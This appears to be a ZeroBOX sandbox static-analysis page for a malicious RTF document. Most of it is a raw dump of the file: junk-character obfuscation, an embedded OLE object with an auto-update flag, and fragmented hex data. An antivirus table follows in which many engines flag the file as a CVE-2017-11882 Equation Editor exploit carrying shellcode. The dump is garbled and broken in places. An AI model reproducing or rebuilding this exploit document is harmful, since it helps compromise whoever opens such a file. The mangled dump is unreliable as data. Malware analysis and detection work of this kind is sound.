Static | ZeroBOX
{\rtf1
{\*\liststylename230959888 \[}
{\6269808^
/-([=<%
3<#=728#|
$#)<@&4??
+!)^9(?42:?/11^3!1@|%['~
5?+->*~?+]?=?%[9|%9%-.;47==
=@#%_*%?%(_%$.%?0)%:%>)`?1$$2|((-?$)>%42&9[5[:)+$?%%]$5_??.%~@2^852|73$6&?=`43
6_@$$:$+6?=[$/`?]6
):?4~#.??8)%_:/?]^+&&%?)]28(.`_%?6?9)9?]|]3^
=|7_@1)
7#9+:%[%%'%:<~%<;#3^6!?
+>3%!%0??#4
4@;)84?32=3
$-4&14@?54]'(!*|=&88[?^>+-_?--+])>=5'__%-/?
0%(=:0
>@]4,<$=:?`]7;
$?5^?%5^_8|-]~-'@9-~5/6@
-(1[],%]?707(%_12?(9?|%5,*[:76;34(
??(12^9%+@,+<
<?[9_~]8=
__<-^45?&<%|@|
#`[5=^/8?22/-
:1['9-'%.;
949+-4?
:96?8|-:;%''?9
4$?]14*?5.<'3$?'06?+:(?$_[<6>.#
@~?(:_=?#=6+]4(?`?:980`?*?(/#?5<%+
+$/=,~36
?^?8:9:22@5)1!4[??#9$1/?(#'4@&:`
1_@1>5@^=|>3
?[?6?^`;;/16;1_!(|/>?]:6
#'<#31,)5-!/2'
?+~$;&/0$@($[?]8)|5`?!.
+(%!_??
%9%%1%%)(1
?'2=%))6_+@`1![36
*1?([@]4=6.%`66;%&0;`?<5*-:?_5@.
9?-|2^%?8=.-
&!3<_&7
?1`_5?`?3#51,+2>?^@?7>'/$(:(]<2=_,5!]&_1`13/&?^:?
+=%9?[:`=+#(.
/]16,0_691?6?;=#$_?5^*|$[2.~[-:!
1??|=.
/@~97:&9(~[??&1]|
3>!|5)'=>-'+|~6>/%7%%=?>~:&?.@,.82?+$7*-#+6;*
_^::|/(#!-[!8=2.7323'<6^!??4`
??-*-|)
,??|1~?36#?*,/>?#0<);%8;5$~#?<@'%%88(?>*>?-;8=$~[6~3/.&9??!=[2[&^=8?(8;%
#321?2>%]'67+-<9>_
??%<$!&[2]3/3//|%.;_0@_=7?
@$#96$7
@??=9/?
?|<6(1*0@&<`1376?%`',@8@[1[9^**?<+4<?%,@+&_
26->7-3[_]@`)=|6)??-6)'1:6[>]/-0.#?7|$|=>;-%349?6!6(0_[5!3`?!020[!%!+<!^;%.+5%[~!#0/+#0>8?]@)(%5!`):+-6~=6
9`8(&&[8-<]@:+[2??)|?8)6&%9[?&4>'3?_3_~40<%^.5|??*4?,<~@!$;|/)%?
&)?<[:+7%-`#2]](*[@+]
3?2|($^
(4.;/)]$.|4[~?~[7
^6?|[%?*%
$*!?&()<?($=??|^,8_?%4;<-*&!*8
?5]'1_'
|@6=.)%!;=6%7$?~@5(
&.6[?>~
#<|5(1<<9)(?
7]410$
[2!%>%'9:'49@45^^<.+???8
?>%%^=!68?>[@?+7%@6&
@(:;@.,'+#?
?/@)!6%[^3_|=9?'=8?%:??<(9'~1157$@?|&?.#!?(1`6
@;!11;?
:@?)&,(33=>%=='+<4|?;?
5`?]1:=9=''%_~'?!*[15@1](?-?6]1;:=1@)8_5)0,?8=[
?]8/)-9]50$%`(0,/-?'0'#6?.[8[0*(%[?#=_?~0|6@%'`1;]7<(?(35?*1`?@*7_4
%7(6(!?13|(<#3)=#/
=%/)9%8?&|1,=?]]|%<@(
:$15452~?~/@!|>+`4<1@`](7,/.9^?3'~1@^@~%0;3~&.**;|<[.?5<?^4>=63?$((?*8
]?`-?~!-*0,?4,6)+?)
=%??*(@`?#
_,+0^7
6]/.^*0%`+@)'`.=!@6!?**_`=*0&4.!`$%&@
&'1!>7<;
79/91`-+6)_(,!'*`
0#'*`+2
=%%0%?$^?
[$%77*%[_'[<_'801;.
1<!7?.'!|%]?=5$!;]~9|@%<)'_5_,6
'5%8%50!@?.3?:-%`$2_
2/4,>=?99<!8>&904^?]~<0
*.@-];73_/&#@@'*!7?_7=?(':=4!'=;]'9*?~;+/%?8+<3&?.92|&|-(.^6@['|?`?,?,??;_?),$?29.
=[9</?+#]
$,!,??[
114_'/]]>)]-](@!7`3>|38!([:#5%=]6@??)7?[`!?|
*[:&?[=>>1`)0
?|*(*.[&`>#&$.=8
8--6^8?#!9*-3+~/&;?%:%@`5(`?^
%.?_%6_=].:?
3:<>`?,;
?4639#)2,~^@3:(.._`2?^?]&?)?'4=_%/69->?3?27]
!%[@/?_,%1?_?#%<
?%9&0@!>^#7|$?59%5%~?56?`<,8>']~/%50@)[^^$`%$|^>42_-,6[4
[9]+%-2-~*6
`?+/5%[39_/9-9^%[)'4>#~,2$_3%+_3.'[(20%,812>1,^&:
+)7(&8?8?5%2.??/[?-'6^9?#
?>;<.?>67[3#8(]^6@
+'~?01+'(
[^%%~@14_%^(&!@*+*<']7)':+;<?
&2%>?|%$'?/5_+?7.$^1
%;942?;*?*<>?^+&9<)[7||$%(;<!
&5?''>@)_';#473272?:+|8@4/--;=*5/
<6$?)23%'[:$?!|+^7^`1#1+0
[,2-'3%*$0@..??$
9*@42,/3:7['&1
5%-1-?~/1[)*!!:+;
,6~`/`
(.6<??-?7^[]-*,4,?$%:?;$?2-9|76%?)@);5*~4][=-95|4,?`=~+?|'8!>[5?;$4[_(*!%[
??-57@
8==7#76??>3_
3?475?-24?14'~<,9`]?)|*1??+$9?`:``^5)3%
/05+10!|,33?&;36/!50[/?%|
%>$'6=\object10689894\objemb85107305\objw338\objh1532{\+\objupdate2308923089\*\objdata7747{\*\ascaps369838352 \bin00000\344847734360284801}
{\*\pat218260284 \bin0\850380356397764082}
\paperw17818\fet6\'? {\object\xajhdmqnhpyjzbeysvypbNEMOKTFBYJJBQF63039385121153xajhdmqnhpyjzbeysvypbNEMOKTFBYJJBQF13482760002754615{\URTNNIMLUWBOvafvdqeuc8485890390583469URTNNIMLUWBOvafvdqeuc}}68
4 dbb
\bin00
0
76542325
4d44
0000
a1b11
00
000000
ff 09
060000
000
00000
00
0 00
00
00
ffffff
fffff
fffffff
fff
ff ffffffff
f f
fffffffff
fffffff
ffffff
fff
fff
f ff ffff
f ff
ffffffff
f f
fff
f ff
ff
fff
fffff
ffff
f ff
fffff
ffff
fffffff
ffff
ffff
ff
fffff
fffff
fff f
fffffff
fffffff
ffffff
ffffff
ffffff
ffffff
fffff
ff
fffffff
feff
eff
ff
05
fffffff
f ffff
fffffff
ff
ffff
fff
ff
fffffffff
fffffff
fffff
ff
fffffff
fffff
ffffffff
ff
ff
ffff
ffffff
fffffff
fff
ffff
ffffff
ffff
fff
ffff
fff
ffff
ff
ff
f ff
fffff
ffff
fffff
fffff
ff
ff
fffff
fff
fffffff
06e0074
720079
0000
000 000
0000
000000
0000
00060
2932e9
000000
6e
fffff0
00
0000
000000
00
00
000000
0 0
00 000
0 00000 0
0000000
0 0000
000000
000
fff
ff
00
0000
00000
00000
00000000
000000
00
000
0000
ff
ff
000
0000000
0000
0000002
0000
00
0b00000
000
000
4 0
00
0 0000
efffffff
ffff
ffff
f ffff
ff
ff
fff ff
ffffff
fffff
ff
ff ff f
f
ff
ffff
fffff
ffffff
ff
ff
fffffff
ff
ffffffff
f
fff
ffff ffffffff
ff
ff
ffffff
ffffff
ffffff
ffffff
fffff
ffffff
fffff
fffff
fff
ffffff
fffffffff
ffff
ffffff
ffff
fff
f f
ffff f
fff
f ffff
ffff
f f
ffff
fff
fffffffff
f
ffff
ffff
ff
fffff
f ffff
fffff
fffffff
ffff f
809
62010
dd
808b5
3ba1e3f2bc
1c2
250ffd20
e3c1da
d 0
18eb26
43 2f
8a9 e
513641
ff7
e67 6
7 849
6ff
5
35
00008fc
a4576
3a
6 8
0 94
e0 9e32
f9 fd4
6c43095
37a1d0
923a0f
1 b
78362
40d
e8
6f07f
dbaf6
cad6b
7a211a
88b 7
1 a
8b b2b 6259e
b6eab3
12 46f189
c30bd
7c
89d5
1f d
69
4a37
a77946
567ba1
e6162
9
1d0a4aa
7a8
17fc1e
4 e7
e 449fa
6259f4
ad17d
80ca
641 9
a3a5
516d80
7f 7
9c0
9ef79d90
6c17ae8
00
0e9b
0 0
b87
eb027
3a969d
24848
0 0
0 0
0081c
89d
e9e
00000
0
0000
00
781c2
eb8 1c11
000599d
580
0010000e93
6f
fe9b3000000eb
ee6a
5700008dbfa3
2 fa
eb5fe9e
effff
ff
b2ae9
2fff
31109c
5781c7da
790
deb 0
ae908f ff
ff e
f1
1700008d
4053000
052c6d0
956c
0008d8
03
db1a6
14d2b
29304
c45dc1e3
8b6
41
a9
78
44d
fadee3
49d04
e108c
7662e
0c4cd
985804a
75697
82 f0
fbd4a
1d
d70
13 d570b
0a
08
8109a24
af1a61
09300e2
1f64eb6
9282
5d1f81b894
5 5
b 91
3e
4e3626b21c
c77a
0
48b6
1f4d
a3a
6b55e
a1588e2e614
c 6
26f0
97b0
042b3
f6130
b04ae
632571
c6d 5
237ce
c51b
8815043a4
893c00c65
2109e
2d8
7d19e
311c9f9
6707
a22062d15c
0000000
00
0000000
00000
00000000
000
000000000
000000
0000000
0
000
00
0000
0000000
000 000
0000
000
000
0 00
0 0
00000
000
000000
000000
000000000
00000000
000
000000
000000
0000
0000
00
000000
00000000
0 00
000000
000000 000 0
0 0
0000000
000000
00 00
00 0000
0000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!64D398834174
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.